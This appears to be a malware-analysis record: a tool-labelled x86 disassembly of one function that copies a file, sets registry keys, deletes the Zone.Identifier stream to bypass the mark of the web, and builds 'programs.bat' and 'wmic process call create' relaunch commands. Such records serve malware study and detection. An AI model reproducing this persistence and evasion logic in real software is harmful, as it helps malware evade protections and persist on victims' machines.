Function at 0x4162d9
Capabilities:
Bypass mark of the web
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, ecx
lea ecx, [ebp - 0xc]
push esi
push edi
mov dword [ebp - 0x14], ebx
call fcn.00414844
push 0xa
pop edx
lea ecx, [ebp - 0x28]
call fcn.00403700
lea eax, [ebp - 0x10]
xor edi, edi
push eax
push ebx
push edi
push 1
push 1
push edi
push edi
push dword [ebx + 0x10]
mov dword [ebp - 0x10], edi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x41632c
cmp dword [ebp - 0x10], 1
sete al
inc eax
mov dword [ebp - 0x10], eax
mov esi, eax
jmp 0x41632e
mov esi, edi
mov ecx, ebx
call fcn.00415fb2
test esi, esi
mov esi, dword [ebp - 0xc]
je 0x416439
cmp dword [ebp + 8], edi
je 0x416439
mov edx, dword [ebx + 0xc]
lea ecx, [ebp - 0x10]
lea edi, [ebx + 0x20]
call fcn.00414891
push eax
mov ecx, edi
call fcn.004035de
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
mov ecx, edi
call fcn.00414915
push 0x41a58c
mov ecx, edi
call fcn.004034f3
lea ecx, [ebx + 0x54]
mov edi, eax
push ecx
lea ecx, [ebp - 0x10]
call fcn.00403611
lea eax, [ebp - 0x10]
mov ecx, edi
push eax
call fcn.004034b6
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
xor edi, edi
push edi
push dword [ebx + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x4166b8
push ecx
push ecx
push esp
lea ecx, [ebx + 0x20]
call fcn.0040368b
push ecx
push ecx
push esp
lea ecx, [ebx + 0x30]
call fcn.004066c5
lea ecx, [ebp - 0x24]
call fcn.00406a75
add esp, 0x10
push ebx
push 0xf003f
push edi
push dword [ebx + 0x10]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 3
lea eax, [ebp - 0x24]
mov ecx, ebx
push eax
lea eax, [ebx + 0x18]
push eax
call fcn.00415ee3
push dword [ebx + 0x20]
lea ecx, [ebp - 0x10]
call fcn.0040346a
push str.:Zone.Identifier
lea ecx, [ebp - 0xc]
call fcn.0040346a
push eax
lea ecx, [ebp - 0x10]
call fcn.004034b6
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
lea ecx, [ebp - 0x24]
call fcn.00403457
cmp dword [ebx], edi
jne 0x416452
push ebx
push 0xf003f
push edi
push dword [ebx + 0x10]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp + 0x10], 0
je 0x4165b6
lea eax, [ebp - 0x18]
push eax
push edi
push edi
push 0x41a420
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
push dword [ebp - 0x18]
lea ecx, [ebp + 0x10]
call fcn.0040346a
push str.programs.bat
lea ecx, [ebp + 0x10]
call fcn.004034f3
push str.for__F__usebackq_tokens____A_in___
lea ecx, [ebp - 0xc]
call fcn.0040346a
push dword [ebp + 0x10]
lea ecx, [ebp - 0xc]
call fcn.004034f3
push str.:start
mov ecx, eax
call fcn.004034f3
push str.___do___A
mov ecx, eax
call fcn.004034f3
lea ecx, [ebp - 0xc]
call fcn.00403649
mov ebx, eax
lea ecx, [ebp - 0xc]
lea eax, [ebp - 0x1c]
push eax
call fcn.00403776
lea ecx, [ebp + 0x10]
mov edi, dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.00403776
push ebx
mov edx, edi
mov ecx, dword [eax]
call fcn.0041711d
mov ecx, dword [ebp - 0x10]
call fcn.004068b7
mov ecx, dword [ebp - 0x1c]
call fcn.004068b7
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov edx, dword [edx + 0xc]
call fcn.00414891
lea ecx, [ebp - 0x10]
mov dword [esp], str.Documents:ApplicationData
call fcn.004034f3
push str.wmic_process_call_create__
lea ecx, [ebp - 8]
call fcn.0040346a
push dword [ebp - 0x10]
lea ecx, [ebp - 8]
call fcn.004034f3
push 0x41d6d8
mov ecx, eax
call fcn.004034f3
push str.:start
lea ecx, [ebp + 0x10]
call fcn.004034f3
lea ecx, [ebp - 8]
call fcn.00403649
mov ebx, eax
lea ecx, [ebp - 8]
lea eax, [ebp - 0x20]
push eax
call fcn.00403776
lea ecx, [ebp + 0x10]
mov edi, dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.00403776
push ebx
mov edx, edi
mov ecx, dword [eax]
call fcn.0041711d
pop ecx
mov ecx, dword [ebp - 0x1c]
call fcn.004068b7
mov ecx, dword [ebp - 0x20]
call fcn.004068b7
xor edi, edi
push edi
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov ecx, dword [ebp - 8]
call fcn.004068b7
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], edi
call fcn.004068b7
mov ecx, dword [ebp - 0xc]
call fcn.004068b7
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0xc], edi
call fcn.004068b7
mov ebx, dword [ebp - 0x14]
cmp dword [ebp + 0xc], 0
je 0x41667d
cmp dword [ebp + 8], 0
jne 0x4165eb
mov dword [ebx + 0x20], edi
test esi, esi
je 0x4165eb
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 2]
call fcn.00406886
push esi
push eax
mov dword [ebx + 0x20], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
push 0x20006
lea eax, [ebx + 0x14]
push eax
push dword [ebx + 8]
lea ecx, [ebx + 4]
mov dword [ebp + 0x10], ecx
call fcn.00415e7e
test eax, eax
je 0x4166b8
cmp dword [ebx + 0x20], 0
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
jne 0x41661b
mov eax, edi
jmp 0x41662b
push dword [ebx + 0x20]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push dword [ebx + 0x20]
lea ecx, [ebp - 0x24]
call fcn.004032d4
lea eax, [ebx + 0x5c]
push eax
lea ecx, [ebp + 8]
call fcn.00403611
push 1
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp + 8]
push eax
lea ecx, [ebx + 4]
call fcn.00415ee3
mov ecx, dword [ebp + 8]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
call fcn.004068b7
mov ecx, dword [ebp - 0x24]
test ecx, ecx
je 0x416671
call fcn.00406955
test bl, bl
jne 0x4166b8
mov ecx, dword [ebp + 0x10]
call fcn.00415fb2
push esi
lea ecx, [ebp + 8]
call fcn.0040346a
push str.:Zone.Identifier
lea ecx, [ebp + 0x10]
call fcn.0040346a
push eax
lea ecx, [ebp + 8]
call fcn.004034b6
mov ecx, dword [ebp + 0x10]
call fcn.004068b7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp + 8]
xor edi, edi
inc edi
call fcn.004068b7
mov ecx, dword [ebp - 0x28]
call fcn.004068b7
mov ecx, esi
call fcn.004068b7
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 0xc